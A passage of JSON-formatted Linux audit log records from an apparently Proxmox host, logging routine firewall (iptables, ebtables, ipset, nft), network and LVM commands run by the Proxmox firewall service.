proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965685955,"@rawstring":"node=pve type=PATH msg=audit(1781965685.955:66672): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705294,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.294:66751): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965685949,"@rawstring":"node=pve type=PATH msg=audit(1781965685.949:66670): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705286,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.286:66750): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965685949,"@rawstring":"node=pve type=PATH msg=audit(1781965685.949:66670): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705282,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.282:66749): proctitle=697073657400726573746F7265"} {"@timestamp":1781965685941,"@rawstring":"node=pve type=PATH msg=audit(1781965685.941:66669): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705273,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.273:66748): proctitle=\"ip6tables-save\""} {"@timestamp":1781965685941,"@rawstring":"node=pve type=PATH msg=audit(1781965685.941:66669): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705264,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.264:66747): proctitle=\"iptables-save\""} {"@timestamp":1781965685935,"@rawstring":"node=pve type=PATH msg=audit(1781965685.935:66668): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705260,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.260:66746): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965685935,"@rawstring":"node=pve type=PATH msg=audit(1781965685.935:66668): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705255,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.255:66745): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965685928,"@rawstring":"node=pve type=PATH msg=audit(1781965685.928:66667): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705255,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.255:66744): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965685928,"@rawstring":"node=pve type=PATH msg=audit(1781965685.928:66667): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705253,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.253:66743): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965685921,"@rawstring":"node=pve type=PATH msg=audit(1781965685.921:66666): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705249,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.249:66742): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965685921,"@rawstring":"node=pve type=PATH msg=audit(1781965685.921:66666): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705241,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.241:66741): proctitle=\"ip6tables-save\""} {"@timestamp":1781965685915,"@rawstring":"node=pve type=PATH msg=audit(1781965685.915:66665): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705233,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.233:66740): proctitle=\"iptables-save\""} {"@timestamp":1781965685915,"@rawstring":"node=pve type=PATH msg=audit(1781965685.915:66665): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705227,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.227:66739): proctitle=69707365740073617665"} {"@timestamp":1781965685905,"@rawstring":"node=pve type=PATH msg=audit(1781965685.905:66664): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705216,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.216:66738): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965685905,"@rawstring":"node=pve type=PATH msg=audit(1781965685.905:66664): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965705205,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965705.205:66737): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965685896,"@rawstring":"node=pve type=PATH msg=audit(1781965685.896:66663): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965704983,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965704.983:66736): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965685896,"@rawstring":"node=pve type=PATH msg=audit(1781965685.896:66663): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965704961,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965704.961:66735): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965685891,"@rawstring":"node=pve type=PATH msg=audit(1781965685.891:66662): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965704018,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965704.018:66734): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965685891,"@rawstring":"node=pve type=PATH msg=audit(1781965685.891:66662): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965704018,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965704.018:66733): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965685887,"@rawstring":"node=pve type=PATH msg=audit(1781965685.887:66661): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965704018,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965704.018:66732): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965685887,"@rawstring":"node=pve type=PATH msg=audit(1781965685.887:66661): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965704012,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965704.012:66731): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965685887,"@rawstring":"node=pve type=PATH msg=audit(1781965685.887:66660): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965704012,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965704.012:66730): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965685887,"@rawstring":"node=pve type=PATH msg=audit(1781965685.887:66660): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965704011,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965704.011:66729): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965685887,"@rawstring":"node=pve type=PATH msg=audit(1781965685.887:66659): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965699003,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965699.003:66728): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965685883,"@rawstring":"node=pve type=PATH msg=audit(1781965685.883:66658): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965699003,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965699.003:66727): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965685883,"@rawstring":"node=pve type=PATH msg=audit(1781965685.883:66658): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965699003,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965699.003:66726): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965685883,"@rawstring":"node=pve type=PATH msg=audit(1781965685.883:66658): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965698996,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965698.996:66725): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965685871,"@rawstring":"node=pve type=PATH msg=audit(1781965685.871:66657): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965698996,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965698.996:66724): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965685871,"@rawstring":"node=pve type=PATH msg=audit(1781965685.871:66657): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965698996,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965698.996:66723): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965685862,"@rawstring":"node=pve type=PATH msg=audit(1781965685.862:66656): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695192,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.192:66722): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965685862,"@rawstring":"node=pve type=PATH msg=audit(1781965685.862:66656): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695188,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.188:66721): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965685854,"@rawstring":"node=pve type=PATH msg=audit(1781965685.854:66655): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695186,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.186:66720): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965685854,"@rawstring":"node=pve type=PATH msg=audit(1781965685.854:66655): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695186,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.186:66719): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965685844,"@rawstring":"node=pve type=PATH msg=audit(1781965685.844:66654): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695182,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.182:66718): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965685844,"@rawstring":"node=pve type=PATH msg=audit(1781965685.844:66654): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695174,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.174:66717): proctitle=\"ip6tables-save\""} {"@timestamp":1781965685832,"@rawstring":"node=pve type=PATH msg=audit(1781965685.832:66653): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695166,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.166:66716): proctitle=\"iptables-save\""} {"@timestamp":1781965685832,"@rawstring":"node=pve type=PATH msg=audit(1781965685.832:66653): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695155,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.155:66715): proctitle=\"ip6tables-save\""} {"@timestamp":1781965684699,"@rawstring":"node=pve type=PATH msg=audit(1781965684.699:66652): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695148,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.148:66714): proctitle=\"iptables-save\""} {"@timestamp":1781965684699,"@rawstring":"node=pve type=PATH msg=audit(1781965684.699:66652): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695144,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.144:66713): proctitle=\"ebtables-restore\""} {"@timestamp":1781965684671,"@rawstring":"node=pve type=PATH msg=audit(1781965684.671:66651): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695142,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.142:66712): proctitle=\"ebtables-restore\""} {"@timestamp":1781965684671,"@rawstring":"node=pve type=PATH msg=audit(1781965684.671:66651): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695135,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.135:66711): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965683948,"@rawstring":"node=pve type=PATH msg=audit(1781965683.948:66650): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695128,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.128:66710): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965683948,"@rawstring":"node=pve type=PATH msg=audit(1781965683.948:66650): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695122,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.122:66709): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965683948,"@rawstring":"node=pve type=PATH msg=audit(1781965683.948:66649): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695116,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.116:66708): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965683948,"@rawstring":"node=pve type=PATH msg=audit(1781965683.948:66648): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695108,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.108:66707): proctitle=697073657400726573746F7265"} {"@timestamp":1781965683940,"@rawstring":"node=pve type=PATH msg=audit(1781965683.940:66647): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695097,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.097:66706): proctitle=\"ip6tables-save\""} {"@timestamp":1781965683940,"@rawstring":"node=pve type=PATH msg=audit(1781965683.940:66647): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695087,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.087:66705): proctitle=\"iptables-save\""} {"@timestamp":1781965683940,"@rawstring":"node=pve type=PATH msg=audit(1781965683.940:66646): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695083,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.083:66704): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965683939,"@rawstring":"node=pve type=PATH msg=audit(1781965683.939:66645): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695080,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.080:66703): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965678930,"@rawstring":"node=pve type=PATH msg=audit(1781965678.930:66644): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695080,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.080:66702): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965678930,"@rawstring":"node=pve type=PATH msg=audit(1781965678.930:66644): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695078,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.078:66701): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965678930,"@rawstring":"node=pve type=PATH msg=audit(1781965678.930:66643): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695074,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.074:66700): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965678930,"@rawstring":"node=pve type=PATH msg=audit(1781965678.930:66642): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695066,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.066:66699): proctitle=\"ip6tables-save\""} {"@timestamp":1781965678921,"@rawstring":"node=pve type=PATH msg=audit(1781965678.921:66641): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695056,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.056:66698): proctitle=\"iptables-save\""} {"@timestamp":1781965678921,"@rawstring":"node=pve type=PATH msg=audit(1781965678.921:66641): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695048,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.048:66697): proctitle=69707365740073617665"} {"@timestamp":1781965678921,"@rawstring":"node=pve type=PATH msg=audit(1781965678.921:66640): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695039,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.039:66696): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965678921,"@rawstring":"node=pve type=PATH msg=audit(1781965678.921:66639): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965695024,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965695.024:66695): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965675819,"@rawstring":"node=pve type=PATH msg=audit(1781965675.819:66638): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965694853,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965694.853:66694): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965675819,"@rawstring":"node=pve type=PATH msg=audit(1781965675.819:66638): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965694820,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965694.820:66693): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965675815,"@rawstring":"node=pve type=PATH msg=audit(1781965675.815:66637): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 